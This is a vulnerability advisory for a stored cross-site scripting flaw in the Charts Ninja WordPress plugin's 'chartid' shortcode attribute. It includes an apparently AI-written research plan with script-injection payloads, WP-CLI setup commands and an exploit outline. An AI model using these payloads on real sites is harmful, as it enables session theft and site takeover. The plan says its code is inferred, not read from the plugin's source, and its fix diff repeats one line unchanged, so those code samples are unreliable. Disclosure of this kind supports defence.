CVE-2026-4730

Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website <= 2.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'chartid' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' shortcode attribute in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.0
PublishedMay 4, 2026
Last updatedMay 5, 2026
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the **Charts Ninja** plugin (CVE-2026-4730). Since source files were not provided in the prompt, this plan is based on the vulnerability description and standard WordPress plugin patterns for shortcode processing. ### 1…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Charts Ninja plugin (CVE-2026-4730). Since source files were not provided in the prompt, this plan is based on the vulnerability description and standard WordPress plugin patterns for shortcode processing.

1. Vulnerability Summary

The "Charts Ninja" plugin fails to sanitize or escape the chartid attribute within its shortcode handler. When a user with Contributor-level permissions or higher embeds the shortcode in a post or page, the chartid value is reflected directly into the page output. Because this output occurs on the frontend for all visitors (including administrators), it allows for Stored XSS.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (Gutenberg or Classic) or the wp-json/wp/v2/posts REST API endpoint.
  • Shortcode Name: [charts-ninja-visual] (inferred based on plugin functionality).
  • Vulnerable Parameter: The chartid attribute within the shortcode.
  • Authentication Level: Contributor or higher. Contributors can create posts and use shortcodes but cannot publish them; however, they can "Preview" the post, which is sufficient to trigger the XSS on themselves or an editor reviewing the post.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers a shortcode, likely in the main plugin file or an initialization class:
    add_shortcode( 'charts-ninja-visual', 'render_charts_ninja_shortcode' );
  2. Attributes Parsing: The handler function uses shortcode_atts() to extract parameters:
    function render_charts_ninja_shortcode( $atts ) {
        $a = shortcode_atts( array(
            'chartid' => '',
            // ... other attributes
        ), $atts );
        $chart_id = $a['chartid']; // Input is captured here
    
  3. Vulnerable Sink: The $chart_id is then concatenated into HTML output without using esc_attr(), esc_html(), or wp_kses():
    // Example of a likely vulnerable sink
    return '<div class="charts-ninja-container" data-chartid="' . $chart_id . '"></div>';
    
    OR
    return '<script>var cn_id = "' . $chart_id . '";</script>';
    

4. Nonce Acquisition Strategy

Shortcodes themselves do not require nonces for execution. The vulnerability is exploited by saving a post containing the shortcode.

  • Saving via REST API: Requires a _wpnonce usually located in the wpApiSettings object on admin pages.
  • Saving via Heartbeat/Autosave: Uses specific nonces.
  • Primary Strategy: Use WP-CLI to create the post as a Contributor. This bypasses the need for manual nonce handling during the "injection" phase, focusing the proof-of-concept on the rendering phase.

5. Exploitation Strategy

The goal is to inject an XSS payload into the chartid attribute that breaks out of its HTML context.

Step 1: Identify the breakout.
If the output is: <div id="cn-[chartid]">, the payload is 1"><script>alert(document.domain)</script>.

Step 2: Create the malicious content.
We will create a post containing the shortcode with the payload.

Step 3: Execute the HTTP Request.
Use the http_request tool to view the post and verify the payload is rendered unescaped.

Payloads to test:

  1. Attribute breakout: chartid='"><script>alert(1)</script>'
  2. JavaScript context: chartid='";alert(2)//'
  3. Event handler: chartid='x" onmouseover="alert(3)'

6. Test Data Setup

  1. Plugin Activation: Ensure charts-ninja-graphs-and-charts is installed and active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Post Creation (The Injection):
    wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="XSS Test" --post_content='[charts-ninja-visual chartid="\"><script>alert(document.domain)</script>"]'
    

7. Expected Results

  • The HTTP response for the page containing the post will include the raw, unescaped string: "><script>alert(document.domain)</script>.
  • The browser (if rendered) would execute the script.
  • The Content-Type of the response will be text/html.

8. Verification Steps

  1. Verify via HTTP:
    Fetch the URL of the newly created post:
    // Using the automated agent's tool
    const response = await http_request({
        url: 'http://localhost:8080/?p=[POST_ID]',
        method: 'GET'
    });
    const leaked = response.body.includes('"><script>alert(document.domain)</script>');
    console.log("XSS Verified: " + leaked);
    
  2. Verify via WP-CLI (Database check):
    Ensure the payload is stored exactly as sent:
    wp post get [POST_ID] --field=post_content
    

9. Alternative Approaches

If the chartid is used inside a JavaScript block (DOM-based or reflected in JS), the payload will change:

  • JS Variable breakout: chartid='-alert(document.domain)-'
  • Iframe source injection: If chartid builds a URL, try javascript:alert(1).

If the shortcode name [charts-ninja-visual] is incorrect:

  1. Run grep -r "add_shortcode" wp-content/plugins/charts-ninja-graphs-and-charts/ to find the correct shortcode tag.
  2. Identify the function name and look for where $atts['chartid'] is used.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Charts Ninja plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' attribute in its shortcode handler. Due to a lack of input sanitization and output escaping, an authenticated attacker with Contributor-level permissions or higher can inject arbitrary scripts into posts that execute when viewed by other users.

Vulnerable Code

// Inferred code structure based on plugin functionality and vulnerability report
function render_charts_ninja_shortcode( $atts ) {
    $a = shortcode_atts( array(
        'chartid' => '',
    ), $atts );

    $chart_id = $a['chartid'];

    // Vulnerable output: chartid is concatenated directly into the HTML
    return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>';
}
add_shortcode( 'charts-ninja-visual', 'render_charts_ninja_shortcode' );

Security Fix

--- a/charts-ninja.php
+++ b/charts-ninja.php
@@ -10,7 +10,7 @@
         'chartid' => '',
     ), $atts );
 
-    $chart_id = $a['chartid'];
+    $chart_id = esc_attr( $a['chartid'] );
 
-    return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>';
+    return '<div class="charts-ninja-visual" data-chartid="' . $chart_id . '"></div>';

Exploit Outline

1. Authenticate as a Contributor or higher user. 2. Access the post editor (Gutenberg or Classic) to create a new post or edit an existing one. 3. Insert the plugin's shortcode with a malicious payload in the 'chartid' attribute: [charts-ninja-visual chartid='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or publish it (if permissions allow). 5. Navigate to the frontend URL of the post or use the 'Preview' feature. 6. The browser will execute the injected script because the 'chartid' value breaks out of the HTML attribute context and renders a raw <script> tag.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.